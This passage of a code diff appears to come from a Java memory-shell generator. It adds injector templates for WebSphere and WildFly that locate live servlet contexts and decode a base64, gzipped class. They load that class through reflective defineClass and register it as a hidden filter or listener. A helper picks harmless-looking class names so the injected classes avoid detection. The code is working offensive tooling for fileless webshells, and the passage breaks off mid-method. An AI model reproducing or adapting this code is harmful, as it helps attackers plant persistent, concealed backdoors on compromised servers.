|
||||
}
|
||||
|
||||
Object filterManager = getFV(context, "filterManager");
|
||||
try {
|
||||
// v8
|
||||
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
|
||||
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
|
||||
setFV(context, "initialized", false);
|
||||
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{filterName, getClassName(), filter, filter.getClass()});
|
||||
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
|
||||
setFV(context, "initialized", true);
|
||||
|
||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
|
||||
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
||||
|
||||
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
|
||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
|
||||
|
||||
} catch (Exception e) {
|
||||
// v7
|
||||
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
|
||||
setFV(filterConfig, "dispatchMode", new int[]{0});
|
||||
setFV(filterConfig, "name", filterName);
|
||||
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
|
||||
ArrayList _uriFilterMappings = (ArrayList) getFV(filterManager, "_uriFilterMappings");
|
||||
int lastIndex = _uriFilterMappings.size() - 1;
|
||||
Object lastElement = _uriFilterMappings.remove(lastIndex);
|
||||
_uriFilterMappings.add(0, lastElement);
|
||||
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{filterName});
|
||||
|
||||
}
|
||||
// 清除缓存
|
||||
invokeMethod(getFV(filterManager, "chainCache"), "clear");
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
}
|
||||
}
|
||||
|
||||
public String getFilterName(String className) {
|
||||
if (className.contains(".")) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
return className.substring(lastDotIndex + 1);
|
||||
} else {
|
||||
return className;
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isAdded(Object context, String filterName) throws Exception {
|
||||
Object webAppConfiguration = getFV(context, "config");
|
||||
List filerMappings = (List) invokeMethod(webAppConfiguration, "getFilterMappings");
|
||||
for (int i = 0; i < filerMappings.size(); i++) {
|
||||
Object config = invokeMethod(filerMappings.get(i), "getFilterConfig");
|
||||
String name = (String) invokeMethod(config, "getFilterName");
|
||||
if (name.equals(filterName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class filterClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = filterClass.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
private static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj.getClass(), fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
private static void setFV(Object obj, String fieldName, Object fieldValue) throws Exception {
|
||||
getF(obj.getClass(), fieldName).set(obj, fieldValue);
|
||||
}
|
||||
|
||||
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class WebSphereListenerInjectorTpl {
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WebSphereListenerInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public WebSphereListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Object context;
|
||||
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
|
||||
Object[] wsThreadLocals = (Object[]) obj;
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
obj = wsThreadLocal;
|
||||
// for websphere 7.x
|
||||
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFV(obj, "stack");
|
||||
for (Object stack : stackList) {
|
||||
try {
|
||||
Object config = getFV(stack, "config");
|
||||
context = getFV(getFV(config, "context"), "context");
|
||||
contexts.add(context);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class listenerClass = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = listenerClass.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
List listeners = (List) getFV(context, "servletRequestListeners");
|
||||
// 判断是否已经存在
|
||||
if (!listeners.contains(listener)) listeners.add(listener);
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
private static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj.getClass(), fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
private static Field getF(Class<?> clazz, String fieldName) throws NoSuchFieldException {
|
||||
try {
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
}catch (Exception ignored){
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import javax.servlet.DispatcherType;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class WildFlyFilterInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WildFlyFilterInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public WildFlyFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) contexts.add(servletContext);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) {
|
||||
try {
|
||||
if (isInjected(context, getClassName())) {
|
||||
return;
|
||||
}
|
||||
Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
|
||||
Object deploymentInfo = getFV(context, "deploymentInfo");
|
||||
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
|
||||
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
|
||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
|
||||
for (Map.Entry<String, Object> filter : filters.entrySet()) {
|
||||
Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
|
||||
if (filterClass.getName().equals(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,197 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class WildFlyListenerInjectorTpl {
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WildFlyListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public WildFlyListenerInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
injectListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) contexts.add(servletContext);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
|
||||
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
|
||||
public void injectListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
|
||||
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
|
||||
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
|
||||
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String className) throws Exception {
|
||||
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
|
||||
for (int i = 0; i < allListeners.size(); i++) {
|
||||
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
|
||||
if (listener.getName().contains(className)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package jmg.core.util;
|
||||
|
||||
|
||||
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Random;
|
||||
|
||||
|
||||
public class ClassNameUtil {
|
||||
static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
|
||||
static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"};
|
||||
|
||||
|
||||
public static String getRandomName(String[]... arrays) {
|
||||
List<String> classNames = new ArrayList<>();
|
||||
for (String[] array : arrays) {
|
||||
for (String className : array) {
|
||||
classNames.add(className);
|
||||
}
|
||||
}
|
||||
Random random = new Random();
|
||||
int index = random.nextInt(classNames.size());
|
||||
return classNames.get(index);
|
||||
}
|
||||
|
||||
|
||||
public static String generateRandomString() {
|
||||
Random random = new Random();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
int length = random.nextInt(2) + 1; // 生成1-3之间的随机数
|
||||
for (int i = 0; i < length; i++) {
|
||||
char c = (char) (random.nextInt(26) + 'a');
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static String getRandomInjectorClassName(){
|
||||
|
||||
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
|
||||
}
|
||||
|
||||
public static String getRandomExtenderClassName(){
|
||||
|
||||
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
|
||||
}
|
||||
|
||||
public static String getRandomLoaderClassName(){
|
||||
|
||||
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
|
||||
}
|
||||
|
||||
|
||||
public static String getClassPrefixName(){
|
||||
return ClassNameUtil.getRandomName(prefixNames);
|
||||
}
|
||||
|
||||
public static String getRandomShellClassName(String shellType) {
|
||||
|
||||
if (shellType.contains(Constants.SHELL_LISTENER)){
|
||||
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener";
|
||||
}
|
||||
if (shellType.contains(Constants.SHELL_VALVE)){
|
||||
